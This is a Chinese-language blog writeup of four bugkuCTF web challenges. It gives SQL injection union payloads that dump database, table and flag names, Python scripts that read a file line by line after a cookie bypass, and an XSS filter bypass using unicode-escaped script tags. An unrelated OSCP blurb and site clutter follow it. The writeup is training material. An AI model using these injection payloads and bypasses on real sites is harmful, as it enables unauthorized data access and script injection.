bugkuCTF Writeup (Web)22-25

成绩单

这里写图片描述
需要去爆数据库信息
但是发现后台应该是不管查询到多少条记录,只显示一条,所以为了显示爆出的信息,就不能让它查出正常的信息,所以
爆数据库名:-1' union select 1,database(),3,4#
爆表名:-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag' #
爆字段名:-1' union select 1,column_name,3,4 from information_schema.columns where table_name='fl4g'#
取得flag:-1' union select 1,skctf_flag,3,4 from skctf_flag.fl4g#


Web6

这里写图片描述
看源码发现要post margin值,再看http响应头,发现有一个flag字段,是base64编码,于是解码提交
这里写图片描述
发现并不对,原来解码获得的仍然是base64编码这里写图片描述
再解码获得一串数字,直接提交仍然不对,还要post给服务器获取flag
手动post过去提示太慢了,这回要用脚本了(python3)

import requests
import base64

s = requests.Session()
r = s.get("http://120.24.86.145:8002/web6/")
head = r.headers['flag']
flag = base64.b64decode(head)
d = {
    "margin": base64.b64decode(str(flag).split(":")[1][1:-1])
}
print(head)
print(flag)
print(d)
r = s.post("http://120.24.86.145:8002/web6/", data=d)
print(r.text)

跑出来结果:
这里写图片描述


cookies欺骗??

这里写图片描述
点进来看url

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

filename那里好像提交的是base64编码,解码后发现是keys.txt,去看keys.txt文件里面是乱码。
于是想到去提交index.php的base64编码,

http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

仍然是一片空白
还有一个参数line没有用,估计是行号,试探性输入1,竟然显示了一行php代码
在输入2,又是一行,于是用脚本遍历得index.php代码(python3)

import requests
import base64

filename = base64.b64encode(bytes("index.php", "utf-8"))
line = 0
while line < 1000:
    url = "http://120.24.86.145:8002/web11/index.php?line=" + str(line) + "&filename=" + str(filename)[2:-1]
    r = requests.get(url)
    print(r.text)
    try:
        r.text.index("?>")
    except ValueError:
        line = line + 1
        continue
    else:
        break

获得源代码:

<?php
error_reporting(0);

$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");

$line = isset($_GET['line']) ? intval($_GET['line']) : 0;

if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

    '0' => 'keys.txt',

    '1' => 'index.php',

);


if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {

    $file_list[2] = 'keys.php';

}


if (in_array($file, $file_list)) {

    $fa = file($file);

    echo $fa[$line];

}

?>

根据代码的意思,要去看keys.php的内容,于是自己添加cookie绕过,然后参数提交keys.php的base64编码,查看源码,在注释里得flag

这里写图片描述


XSS

这里写图片描述
题目提示需要xss注入并且带有alert(_key_)代码,但是不知道注入点在哪里
根据惯例试了试get参数id,还真是在这里
于是尝试性注入<script>发现左右尖括号被过滤了,直接输出的html实体,那么就利用编码绕过,把左右尖括号替换成NATIVE编码\u003c和\u003e,注入:\u003cscript\u003ealert(_key_)\u003c/script\u003e,再查看源代码,就有结果了。
这里写图片描述
一时没有想通的是为什么那段js代码没有执行,<div id="s">标签内什么都没有

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值